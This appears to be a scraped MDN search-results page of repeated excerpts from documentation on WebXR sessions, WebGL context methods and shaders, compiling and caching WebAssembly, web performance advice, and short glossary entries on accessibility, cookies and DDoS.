WebXR functionality by engaging with the user interface enabled above, request an XRSession using the desired mode. This is done by calling navigator.xr.requestSession(), again specifying the string indicating the mode you want to enable: inline, immersive-vr, or immersive-ar. ...
...And 3 more matches
WebXR performance guide - Web APIs
Rendering tips ... Talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. Can probably also include stuff from https://github.com/immersive-
web/
webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions Managing rendering quality ... ...
... Rendering tips ... Talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. ...
... the broadest assortment of target devices. In this guide, we'll examine a variety of suggestions and recommendations that will help you make your
WebXR app as performant as possible. Rendering tips ... Talk about general stuff like limiting how many different loops there are during rendering, avoiding unnecessary drawing, etc. ...
...And 3 more matches
WebXR permissions and security - Web APIs
While not onerous, they are worth being aware of. ...
...ou need to confirm access to device features such as the microphone and/or camera, get permission to use immersive VR mode (if applicable), and so forth. The variety of hardware and software involved in XR brings multiple APIs and technologies into play. In this guide, we'll cover how to ensure your app has the permissions it needs to provide a secure and private XR experience. Introduction The
WebXR Device API is subject to a number of permission and security controls. While not onerous, they are worth being aware of. These mostly revolve around the fully-immersive immersive-vr session mode, but there are things to be aware of when setting up an AR session, as well. Immersive presentation of VR First, any requests to activate the immersive-vr mode are rejected if the domain issuing the r...
...issuing the request does not have permission to enable an immersive session. This permission comes from the xr-spatial-tracking feature policy. Once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: The requestSession() call was issued by code executing within the handler for a user event, or the from the startup code for a user-launched
web application. The document is considered trustworthy, in that it is responsible and is both currently active and has focus. The user's intent to enter immersive VR mode is well understood; see User intent below for details. If all of that is true, the promise returned by requestSession() is resolved, and the new XRSession object is passed into the fulfillment handler. Otherwise, an appropriate...
...And 3 more matches
Web Animations API - Web APIs
Can take an object created with the KeyframeEffect() constructor. KeyframeEffect Describes sets of animatable properties and values, called keyframes and their timing options. ...
...Can take an object created with the KeyframeEffect() constructor. KeyframeEffect Describes sets of animatable properties and values, called keyframes and their timing options. ...
...Can take an object created with the KeyframeEffect() constructor. KeyframeEffect Describes sets of animatable properties and values, called keyframes and their timing options. ...
...And 3 more matches
XRWebGLLayer() - Web APIs
The
WebXR Device API XR
WebGLLayer() constructor creates and returns a new XR
WebGLLayer object, providing the linkage between the
WebXR device and the
WebGL graphics layer used to render the 3D scene. Syntax let glLayer = new XR
WebGLLayer(session, context, layerInit); Parameters session An XRSession object specifying the
WebXR session which will be rendered using the
WebGL context. context A
WebGLRenderingContext or
WebGL2RenderingContext identifying the
WebGL drawing context to use for rendering the scene for the specified
WebXR session. layerInit Optional An object conforming to the XR
WebGLLayerInit dictionary, providing configuration options for the new XR
WebGLLayer. The options available are: alpha Optional The frame buffer's color buffer will be established with an alp...
...fic mode yet. The default value is true. depth Optional A Boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated. The default is true. framebufferScaleFactor Optional A floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer. The static XR
WebGLLayer function XR
WebGLLayer.getNativeFramebufferScaleFactor() returns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution. The default is 1.0. ignoreDepthValues Optional A Boolean value which indicates whether or not to ignore the contents of the depth buffer while compositing the scene. The default is false. ste...
...ion. The default is 1.0. ignoreDepthValues Optional A Boolean value which indicates whether or not to ignore the contents of the depth buffer while compositing the scene. The default is false. stencil Optional A Boolean value which, if true, requests that the new layer include a stencil buffer. Otherwise, no stencil buffer is allocated. The default is false. ...
...And 3 more matches
XRWebGLLayer.getViewport() - Web APIs
The XR
WebGLLayer interface's getViewport() method returns the XRViewport that should be used to render the specified XRView into the
WebGL layer. For
WebXR devices which use a single framebuffer for both the left and right eyes, the returned viewport represents the region of the framebuffer into which the scene should be rendered for the eye represented by the view. Syntax let viewport = xr
WebGLLayer.getViewport(view); Parameters view An XRView object indicating the view for which the viewport is to be returned. Return value A XRViewport object representing the viewport which will restrict drawing to the portion of the layer corresponding to the specified view. ...
... Example This example demonstrates in part what the callback for the requestAnimationFrame() function might look like, using getViewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered. ...
...meters view An XRView object indicating the view for which the viewport is to be returned. Return value A XRViewport object representing the viewport which will restrict drawing to the portion of the layer corresponding to the specified view. Exceptions InvalidStateError Either the specified view is not in an active XRFrame or that XRFrame and the XR
WebGLLayer are not part of the same
WebXR session. Example This example demonstrates in part what the callback for the requestAnimationFrame() function might look like, using getViewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered. This works because the set of views returned by an XRViewerPose each represent one eye's perspective on the scen...
...And 3 more matches
XRWebGLLayerInit.depth - Web APIs
This means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well. The default value is true. ...
...This means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well. The default value is true. ...
...This means that the only source for depth information is the vertex coordinates, and reduces the accuracy and quality of rendering, but may potentially affect the performance of rendering as well. The default value is true. ...
...And 3 more matches
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
The XR
WebGLLayerInit dictionary's framebufferScaleFactor property, when specified upon instantiating a new XR
WebGLLayer using its constructor, XR
WebGLLayer(), specifies the scaling factor to use when determining the size of the frame buffer to use when rendering the scene, relative to the default XR device display resolution. For example, a value of 1.0 indicates that the frame buffer should be the same resolution as the actual display, while a value of 0.5 indicates that the frame buffer should be half the resolution of the display. A value of 2.0, on the other hand, creates a frame buffer whose resolution is double that of the actual display buffer. There are valid use cases for all of these kinds of scaling. ...
...indicates that the frame buffer should be the same resolution as the actual display, while a value of 0.5 indicates that the frame buffer should be half the resolution of the display. A value of 2.0, on the other hand, creates a frame buffer whose resolution is double that of the actual display buffer. There are valid use cases for all of these kinds of scaling. ...
...e display. A value of 2.0, on the other hand, creates a frame buffer whose resolution is double that of the actual display buffer. There are valid use cases for all of these kinds of scaling. See Managing rendering quality in
WebXR performance guide for more information. You can determine the scaling factor that you would need to apply to match the default frame buffer resolution by using the XR
WebGLLayer.getNativeFramebufferScaleFactor() static function. ...
...And 3 more matches
XRWebGLLayerInit.ignoreDepthValues - Web APIs
The XR
WebGLLayerInit dictionary's Boolean ignoreDepthValues property can be provided in the options passed into the XR
WebGLLayer() constructor to indicate that the depth buffer, if it exists, should be ignored while composing the scene. The depth buffer is typically used to assist in ordering vertices and, by extension, polygons while compositing, to ensure that the scene is correctly composited, with objects the correct distance away and with clipping and other distance-related computations performed as accurately as possible. Without the depth buffer, these computations must rely entirely on the coordinates of each pixel. ...
...ng vertices and, by extension, polygons while compositing, to ensure that the scene is correctly composited, with objects the correct distance away and with clipping and other distance-related computations performed as accurately as possible. Without the depth buffer, these computations must rely entirely on the coordinates of each pixel. ...
...s performed as accurately as possible. Without the depth buffer, these computations must rely entirely on the coordinates of each pixel. This property differs from depth in that depth requests a
WebGL layer that does not have a depth buffer at all, while ignoreDepthValues merely asks that the depth layer be ignored. Syntax let layerInit = { ignoreDepthValues: boolValue }; let glLayer = new XR
WebGLLayer(xrSession, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { ignoreDepthValues: boolValue }); Value A Boolean value which can be set to true to disable the use of the depth buffer by the
WebGL rendering layer created by the XR
WebGLLayer() constructor. The default value, false, means the depth buffer will be used, if available. Usage notes If ignoreDepthValues is true, t...
...And 3 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
Let's look at how it works. Emscripten Environment Setup First, let's set up the required development environment. Prerequisites Get the Emscripten SDK, using these instructions: https://emscripten.org/docs/getting_started/downloads.html Compiling an example With the environment set up, let's look at how to use it to compile a C example to Emscripten. ...
....org/docs/getting_started/downloads.html Compiling an example With the environment set up, let's look at how to use it to compile a C example to Emscripten. There are a number of options available when compiling with Emscripten, but the main two scenarios we'll cover are: Compiling to wasm and creating HTML to run our code in, plus all the JavaScript "glue" code needed to run the wasm in the
web environment. Compiling to wasm and just creating the JavaScript. We will look at both below. Creating HTML and JavaScript This is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as
WebAssembly, in the browser. First we need an example to compile. Take a copy of the following simple C example, and save it in a file called hello.
...ommand are as follows: -s WASM=1 -- Specifies that we want wasm output. If we don't specify this, Emscripten will just output asm.js, as it does by default. -o hello.html -- Specifies that we want Emscripten to generate an HTML page to run our code in (and a filename to use), as well as the wasm module and the JavaScript "glue" code to compile and instantiate the wasm so it can be used in the
web environment. At this point in your source directory you should have: The binary wasm module code (hello.wasm) A JavaScript file containing glue code to translate between the native C functions, and JavaScript/wasm (hello.js) An HTML file to load, compile, and instantiate your wasm code, and display its output in the browser (hello.html) Running your example Now all that remains is for y...
...And 3 more matches
Caching compiled WebAssembly modules - WebAssembly
Warning: Experimental
WebAssembly.Module IndexedDB serialization support is being removed from browsers; see bug 1469395 and this spec issue. Caching is useful for improving the performance of an app -- we can store compiled
WebAssembly modules on the client so they don't have to be downloaded and compiled every time. This article explains the best practices around this. Caching via IndexedDB IndexedDB is a transactional database system that allows you to store and retrieve structured data on the client-side. It is ideal for persisting assets locally for the saved state of an application, including text, blobs, and any other type of cloneable object. This includes compiled wasm modules (
WebAssembly.Module JavaScript objects). Setting up a caching library Because IndexedDB is a somewh...
... we can now express the core logic of an IndexedDB cache lookup. ...
...tabase(db).then(module => { If we do, we instantiate it with the given import object: console.log(`Found ${url} in wasm cache`); return
WebAssembly.instantiate(module, importObject); }, If not, we compile it from scratch and then store the compiled Module in the database with a key of url, for next time we want to use it: errMsg => { console.log(errMsg); return
WebAssembly.instantiateStreaming(fetch(url)).then(results => { storeInDatabase(db, results.module); return results.instance; }); }) }, Note: It is for this kind of usage that
WebAssembly.instantiate() returns both a Module and an Instance: the Module represents the compiled code and can be stored/retrieved in IDB or shared between Workers via postMessage(); the Instance ...
...And 3 more matches
Accessibility - MDN Web Docs Glossary: Definitions of Web-related terms
Web Accessibility (A11Y) refers to best practices for keeping a
website usable despite physical and technical restrictions.
Web accessibility is formally defined and discussed at the W3C through the
Web Accessibility Initiative (WAI). ...
...
Web Accessibility (A11Y) refers to best practices for keeping a
website usable despite physical and technical restrictions.
Web accessibility is formally defined and discussed at the W3C through the
Web Accessibility Initiative (WAI). ...
...
Web Accessibility (A11Y) refers to best practices for keeping a
website usable despite physical and technical restrictions.
Web accessibility is formally defined and discussed at the W3C through the
Web Accessibility Initiative (WAI). ...
...And 2 more matches
Cookie - MDN Web Docs Glossary: Definitions of Web-related terms
Cookies can be set and modified at the server level using the Set-Cookie HTTP header, or with JavaScript using document.cookie. ...
... Cookies can be set and modified at the server level using the Set-Cookie HTTP header, or with JavaScript using document.cookie. ...
... Cookies can be set and modified at the server level using the Set-Cookie HTTP header, or with JavaScript using document.cookie. ...
...And 2 more matches
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
DDoS concerns computer networks and CPU resource management. In a typical DDoS attack, the assailant begins by exploiting a vulnerability in one computer system and making it the DDoS master. ...
...ot. A network of co-infected computers is known as a botnet or a zombie army. Both Kaspersky Labs and Symantec have identified botnets -- not spam, viruses, or worms -- as the biggest threat to Internet security. ...
...known as a botnet or a zombie army. Both Kaspersky Labs and Symantec have identified botnets -- not spam, viruses, or worms -- as the biggest threat to Internet security. ...
...And 2 more matches
Web performance resources - Learn web development
Below is a quick review of best practices, tools, APIs with links to provide more information about each topic. Best practices Start with learning the critical rendering path of the browser. Knowing this will help you understand how to improve the performance of the site. Using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload Keep the size of Javascript to a minimum. Only use as much Javascript as needed for the current page. CSS performance factors Use HTTP/2 on your server (or CDN). Use a CDN for resources which can reduce load times significantly. Compress your resources using gzip, Brotli, and Zopfli. ...
...imization (use CSS animation, or SVG if possible). Lazy loading parts of your application outside the viewport. If you do, have a backup plan for SEO (e.g render full page for bot traffic); for example, by using the loading attribute on the <img> element It is also crucial to realize what is really important to your users. It might not be absolute timing, but user perception. Quick Wins CSS
Web performance is all about user experience and perceived performance. As we learned in the critical rendering path document, linking CSS with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. Optimize the rendering of your page by removing blocking CSS. To load CSS asynchronously one can simpy set the media type to print and then change to all once loaded. The followi...
...efore scrolling. These styles will improve perceived performance as the CSS does not require a file request. <style type="text/css"> // Insert your CSS here </style> Javascript Avoid Javascript blocking by using the async or defer attributes, or link javascript assets after the page's DOM elements. Javascript only block rendering for elements that appear after the script tag in the DOM tree.
Web Fonts EOT and TTF formats are not compressed by default. Apply compression such as GZIP or Brotli for these file types. Use WOFF and WOFF2. These formats have compression built in. Within @font-face use font-display: swap. By using font display swap the browser will not block rendering and will use the backup system fonts that are defined. Optimiize font weight to match the
web font as closely ...
...And 2 more matches
The business case for web performance - Learn web development
Previous Overview: Performance We've discussed the importance of
web performance. You've learned what you need to do to optimize for
web performance. But how do you convince your clients and/or management to prioritize and invest in performance? In this section, we discuss creating a clear business-case to convince decision-makers to make the investment. Prerequisites: Basic computer literacy, basic knowledge of client-side
web technologies, and a basic understanding of
web performance optimization. Objective: To gain confidence in working with clients and management to get them to make
web performance a priority. Making performance a business priority We've discussed how prioritizing performance can improve user experience and therefore revenue. ...
...ledge of client-side
web technologies, and a basic understanding of
web performance optimization. Objective: To gain confidence in working with clients and management to get them to make
web performance a priority. Making performance a business priority We've discussed how prioritizing performance can improve user experience and therefore revenue. We know that not prioritizing
web performance can result in a loss of business revenue. This article discusses how certain business metrics directly relate to a user's
web performance experience and how to apply service design to boost the user's experiences of
web performance. It highlights the importance of understanding how cumulative experiences impact conversion and retention rates. ...
...A performance budget is a set of limits that are set to specify limits, such as maximum number of http requests allowed, the maximum total size of all the assets combined, the minimum allowable FPS on a specific device, etc, that must be maintained. ...
...And 2 more matches
HTMLCanvasElement: webglcontextrestored event - Web APIs
The
webglcontextrestored event of the
WebGL API is fired if the user agent restores the drawing buffer for a
WebGLRenderingContext object. Once the context is restored,
WebGL resources such as textures and buffers that were created before the context was lost are no longer valid. You need to reinitialize the state of your
WebGL application and recreate resources. ...
...L API is fired if the user agent restores the drawing buffer for a
WebGLRenderingContext object. Once the context is restored,
WebGL resources such as textures and buffers that were created before the context was lost are no longer valid. You need to reinitialize the state of your
WebGL application and recreate resources. ...
.... Once the context is restored,
WebGL resources such as textures and buffers that were created before the context was lost are no longer valid. You need to reinitialize the state of your
WebGL application and recreate resources. Bubbles Yes Cancelable Yes Interface
WebGLContextEvent Event handler property none Example With the help of the
WEBGL_lose_context extension, you can simulate the
webglcontextrestored event: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextrestored', function(e) { console.log(e); }, false); gl.getExtension('
WEBGL_lose_context').restoreContext(); // "
webglcontextrestored" event is logged. Specifications Specification St...
...And 2 more matches
WEBGL_depth_texture - Web APIs
Extended methods This extension extends
WebGLRenderingContext.texImage2D(): The format and internalformat parameters now accept gl.DEPTH_COMPONENT and gl.DEPTH_STENCIL. ...
... The
WEBGL_depth_texture extension is part of the
WebGL API and defines 2D depth and depth-stencil textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is only available to
WebGL1 contexts. In
WebGL2, the functionality of this extension is available on the
WebGL2 context by default. The constant in
WebGL2 is gl.UNSIGNED_INT_24_8. Constants This extension adds a new constant: ext.UNSIGNED_INT_24_8_
WEBGL Unsigned integer type for 24-bit depth texture data. Extended methods This extension extends
WebGLRenderingContext.texImage2D(): The format and internalformat parameters now accept gl.DEPTH_COMPONENT and gl.DEPTH_STENCIL. The type parame...
... The pixels parameter now accepts an ArrayBufferView of type Uint16Array and Uint32Array. This extension extends
WebGLRenderingContext.framebufferTexture2D(): The attachment parameter now accepts gl.DEPTH_STENCIL_ATTACHMENT. ...
...And 2 more matches
WebGL2RenderingContext.isVertexArray() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsVertexArray' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsVertexArray' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glIsVertexArray' in that specification. ...
...And 2 more matches
WebGLContextEvent - Web APIs
The
WebContextEvent interface is part of the
WebGL API and is an interface for an event that is generated in response to a status change to the
WebGL rendering context. Inheritance This interface inherits properties and methods from its parent interface, Event. ...
...face inherits properties and methods from its parent interface, Event. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/
WebGLContextEvent" target="_top"><rect x="116" y="1" width="170" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">
WebGLContextEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Propert...
...And 2 more matches
WebGLRenderingContext.bindBuffer() - Web APIs
gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. ...
... gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. gl.UNIFORM_BUFFER: Buffer used for storing uniform blocks. ...
...object to another. gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. gl.UNIFORM_BUFFER: Buffer used for storing uniform blocks. gl.PIXEL_PACK_BUFFER: Buffer used for pixel transfer operations. gl.PIXEL_UNPACK_BUFFER: Buffer used for pixel transfer operations. buffer A
WebGLBuffer to bind. Return value None. Exceptions Only one target can be bound to a given
WebGLBuffer. An attempt to bind the buffer to another target will throw an INVALID_OPERATION error and the current buffer binding will remain the same. A
WebGLBuffer which has been marked for deletion with deleteBuffer cannot be (re-)bound. An attempt to do so will generate an INVALID_OPERATION error, and...
...And 2 more matches
WebGLRenderingContext.bindTexture() - Web APIs
Return value None. Exceptions A gl.INVALID_ENUM error is thrown if target is not gl.TEXTURE_2D, gl.TEXTURE_CUBE_MAP, gl.TEXTURE_3D, or gl.TEXTURE_2D_ARRAY. ...
... Return value None. Exceptions A gl.INVALID_ENUM error is thrown if target is not gl.TEXTURE_2D, gl.TEXTURE_CUBE_MAP, gl.TEXTURE_3D, or gl.TEXTURE_2D_ARRAY. ...
... Return value None. Exceptions A gl.INVALID_ENUM error is thrown if target is not gl.TEXTURE_2D, gl.TEXTURE_CUBE_MAP, gl.TEXTURE_3D, or gl.TEXTURE_2D_ARRAY. ...
...And 2 more matches
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. Return value A GLenum indicating the completeness status of the framebuffer or 0 if an error occurs. ...
...Used as a destination for drawing, rendering, clearing, and writing operations. gl.READ_FRAMEBUFFER: Used as a source for reading operations. ...
...ed or not all framebuffer attachment points are framebuffer attachment complete. gl.FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: There is no attachment. gl.FRAMEBUFFER_INCOMPLETE_DIMENSIONS: Height and width of the attachment are not the same. gl.FRAMEBUFFER_UNSUPPORTED: The format of the attachment is not supported or if depth and stencil attachments are not the same renderbuffer. When using a
WebGL 2 context, the following values can be returned additionally: gl.FRAMEBUFFER_INCOMPLETE_MULTISAMPLE: The values of gl.RENDERBUFFER_SAMPLES are different among attached renderbuffers, or are non-zero if the attached images are a mix of renderbuffers and textures. When using the OVR_multiview2 extension, the following value can be returned additionally: ext.FRAMEBUFFER_INCOMPLET...
...And 2 more matches
WebGLRenderingContext.createShader() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCreateShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCreateShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCreateShader' in that specification. Standard OpenGL man page. ...
...And 2 more matches
WebGLRenderingContext.createTexture() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenTextures' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenTextures' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenTextures' in that specification. Standard Man page of the (similar) OpenGL API. ...
...And 2 more matches
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
The
WebGLRenderingContext method enableVertexAttribArray(), part of the
WebGL API, turns on the generic vertex attribute array at the specified index into the list of attribute arrays. You can disable the attribute array by calling disableVertexAttribArray(). In
WebGL, values that apply to a specific vertex are stored in attributes. These are only available to the JavaScript code and the vertex shader. Attributes are referenced by an index number into the list of attributes maintained by the GPU. Some vertex attribute indices may have predefined purposes, depending on the platform and/or the GPU. Others are assigned by the
WebGL layer when you create the attributes. Either way, since attributes cannot be used unless enabled, and are disabled by default, you need to call enableVertexAttr...
...ib(). Syntax void gl.enableVertexAttribArray(index); Parameters index A GLuint specifying the index number that uniquely identifies the vertex attribute to enable. If you know the name of the attribute but not its index, you can get the index by calling getAttribLocation(). Return value undefined. Errors To check for errors after calling enableVertexAttribArray(), call getError(). ...
... its index, you can get the index by calling getAttribLocation(). Return value undefined. Errors To check for errors after calling enableVertexAttribArray(), call getError().
WebGLRenderingContext.INVALID_VALUE The specified index is invalid; that is, it's greater than or equal to the maximum number of entries permitted in the context's vertex attribute list, as indicated by the value of
WebGLRenderingContext.MAX_VERTEX_ATTRIBS. Example This code -- a snippet taken from the full example A basic 2D
WebGL animation example -- shows the use of enableVertexArray() to activate the attribute that will be used by the
WebGL layer to pass individual vertexes from the vertex buffer into the vertex shader function. gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer); aVertexPosition = gl.getA...
...And 2 more matches
WebGLRenderingContext.getUniform() - Web APIs
The
WebGLRenderingContext.getUniform() method of the
WebGL API returns the value of a uniform variable at a given location. Syntax any gl.getUniform(program, location); Parameters program A
WebGLProgram containing the uniform attribute. location A
WebGLUniformLocation object containing the location of the uniform attribute to get. ...
...API returns the value of a uniform variable at a given location. Syntax any gl.getUniform(program, location); Parameters program A
WebGLProgram containing the uniform attribute. location A
WebGLUniformLocation object containing the location of the uniform attribute to get. ...
...3 elements) vec4 Float32Array (with 4 elements) ivec4 Int32Array (with 4 elements) bvec4 Array of GLBoolean (with 4 elements) mat2 Float32Array (with 4 elements) mat3 Float32Array (with 9 elements) mat4 Float32Array (with 16 elements) sampler2D GLint samplerCube GLint Additionally available in
WebGL 2 uint GLuint uvec2 Uint32Array (with 2 elements) uvec3 Uint32Array (with 3 elements) uvec4 Uint32Array (with 4 elements) mat2x3 Float32Array (with 6 elements) mat2x4 Float32Array (with 8 elements) mat3x2 Float32Array (with 6 elements) mat3x4 Float32Array (with 12 elements) mat4x2 Float32...
...And 2 more matches
WebGLRenderingContext.renderbufferStorage() - Web APIs
The
WebGLRenderingContext.renderbufferStorage() method of the
WebGL API creates and initializes a renderbuffer object's data store. Syntax void gl.renderbufferStorage(target, internalFormat, width, height); Parameters target A Glenum specifying the target renderbuffer object. Possible values: gl.RENDERBUFFER: Buffer data storage for single images in a renderable internal format. internalFormat A Glenum specifying the internal format of the renderbuffer. Possible values: gl.RGBA4: 4 red bits, 4 green bits, 4 blue bits 4 alpha bits. gl.RGB565: 5 red bits, 6 green bits, 5 blue bits. gl.RGB5_A1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. gl.DEPTH_COMPONENT16: 16 depth bits. gl.STENCIL_INDEX8: 8 stencil bits. ...
...ormat. internalFormat A Glenum specifying the internal format of the renderbuffer. Possible values: gl.RGBA4: 4 red bits, 4 green bits, 4 blue bits 4 alpha bits. gl.RGB565: 5 red bits, 6 green bits, 5 blue bits. gl.RGB5_A1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. gl.DEPTH_COMPONENT16: 16 depth bits. gl.STENCIL_INDEX8: 8 stencil bits. ...
...its. gl.STENCIL_INDEX8: 8 stencil bits. gl.DEPTH_STENCIL When using a
WebGL 2 context, the following values are available additionally: gl.R8 gl.R8UI gl.R8I gl.R16UI gl.R16I gl.R32UI gl.R32I gl.RG8 gl.RG8UI gl.RG8I gl.RG16UI gl.RG16I gl.RG32UI gl.RG32I gl.RGB8 gl.RGBA8 gl.SRGB8_ALPHA8 (also available as an extension for
WebGL 1, see below) gl.RGB10_A2 gl.RGBA8UI gl.RGBA8I gl.RGB10_A2UI gl.RGBA16UI gl.RGBA16I gl.RGBA32I gl.RGBA32UI gl.DEPTH_COMPONENT24 gl.DEPTH_COMPONENT32F gl.DEPTH24_STENCIL8 gl.DEPTH32F_STENCIL8 When using the
WEBGL_color_buffer_float extension: ext.RGBA32F_EXT: RGBA 32-bit floating-point type. ext.RGB32F_EXT: RGB 32-bit floating-...
...And 2 more matches
WebGLRenderingContext.texParameter[fi]() - Web APIs
gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. The pname parameter is a Glenum specifying the texture parameter to set. The param parameter is a GLfloat or GLint specifying the value for the specified parameter pname. ...
... gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. The pname parameter is a Glenum specifying the texture parameter to set. The param parameter is a GLfloat or GLint specifying the value for the specified parameter pname. ...
...wing values are available additionally: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. The pname parameter is a Glenum specifying the texture parameter to set. The param parameter is a GLfloat or GLint specifying the value for the specified parameter pname. pname Description param Available in
WebGL 1 gl.TEXTURE_MAG_FILTER Texture magnification filter gl.LINEAR (default value), gl.NEAREST. gl.TEXTURE_MIN_FILTER Texture minification filter gl.LINEAR, gl.NEAREST, gl.NEAREST_MIPMAP_NEAREST, gl.LINEAR_MIPMAP_NEAREST, gl.NEAREST_MIPMAP_LINEAR (default value), gl.LINEAR_MIPMAP_LINEAR. gl.TEXTURE_WRAP_S Wrapping function for texture coordinate s gl.REP...
...And 2 more matches
WebGLShader - Web APIs
The
WebGLShader is part of the
WebGL API and can either be a vertex or a fragment shader. A
WebGLProgram requires both types of shaders. Description To create a
WebGLShader use
WebGLRenderingContext.createShader, then hook up the GLSL source code using
WebGLRenderingContext.shaderSource(), and finally invoke
WebGLRenderingContext.compileShader() to finish and compile the shader. At this point the
WebGLShader is still not in a usable form and must still be attached to a
WebGLProgram. function createShader (gl, sourceCode, type) { // Compiles either a shader of type gl.VERTEX_SHADER or gl.FRAGMENT_SHADER var shader = gl.createShader( type ); gl.shaderSource( shader, sourceCode ); gl.compileShader( shader ); if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) { var info =...
... Examples Creating a vertex shader Note that there are many other strategies for writing and accessing shader source code strings. These example are for illustration purposes only. ...
...rceCode, type) { // Compiles either a shader of type gl.VERTEX_SHADER or gl.FRAGMENT_SHADER var shader = gl.createShader( type ); gl.shaderSource( shader, sourceCode ); gl.compileShader( shader ); if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) { var info = gl.getShaderInfoLog( shader ); throw 'Could not compile
WebGL program. \n\n' + info; } return shader; } See
WebGLProgram for information on attaching the shaders. Examples Creating a vertex shader Note that there are many other strategies for writing and accessing shader source code strings. These example are for illustration purposes only. var vertexShaderSource = 'attribute vec4 position;\n' + 'void main() {\n' + ' gl_Position = position;\n' + '}\n'; //Use the createShader function from the...
...And 2 more matches
WebGLTexture - Web APIs
The
WebGLTexture interface is part of the
WebGL API and represents an opaque texture object providing storage and state for texturing operations. Description The
WebGLTexture object does not define any methods or properties of its own and its content is not directly accessible. ...
... The
WebGLTexture interface is part of the
WebGL API and represents an opaque texture object providing storage and state for texturing operations. Description The
WebGLTexture object does not define any methods or properties of its own and its content is not directly accessible. ...
... The
WebGLTexture interface is part of the
WebGL API and represents an opaque texture object providing storage and state for texturing operations. Description The
WebGLTexture object does not define any methods or properties of its own and its content is not directly accessible. ...
...And 2 more matches
Canvas size and WebGL - Web APIs
The size of the first canvas is set to the styled Element size, determined by CSS. This is done by assigning the width and height properties of the canvas to the values of the clientWidth and clientHeight properties, respectively. In contrast, no such assignment is done for the second canvas. ...
..." + "Your browser or device may not support
WebGL."; return; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); gl.enable(gl.SCISSOR_TEST); gl.scissor(30, 10, 60, 60); gl.clearColor(1.0, 1.
..." + "Your browser or device may not support
WebGL."; return; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); gl.enable(gl.SCISSOR_TEST); gl.scissor(30, 10, 60, 60); gl.clearColor(1.0, 1.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); ...
...And 2 more matches
WebGL by example - Web APIs
Next >>
WebGL by example is a series of live samples with short explanations that showcase
WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the
WebGL rendering context, shader programming, textures, geometry, user interaction, and more. Examples by topic The examples are sorted in order of increasing difficulty. But rather than just presenting them in a single long list, they are additionally divided into topics. Sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels. ...
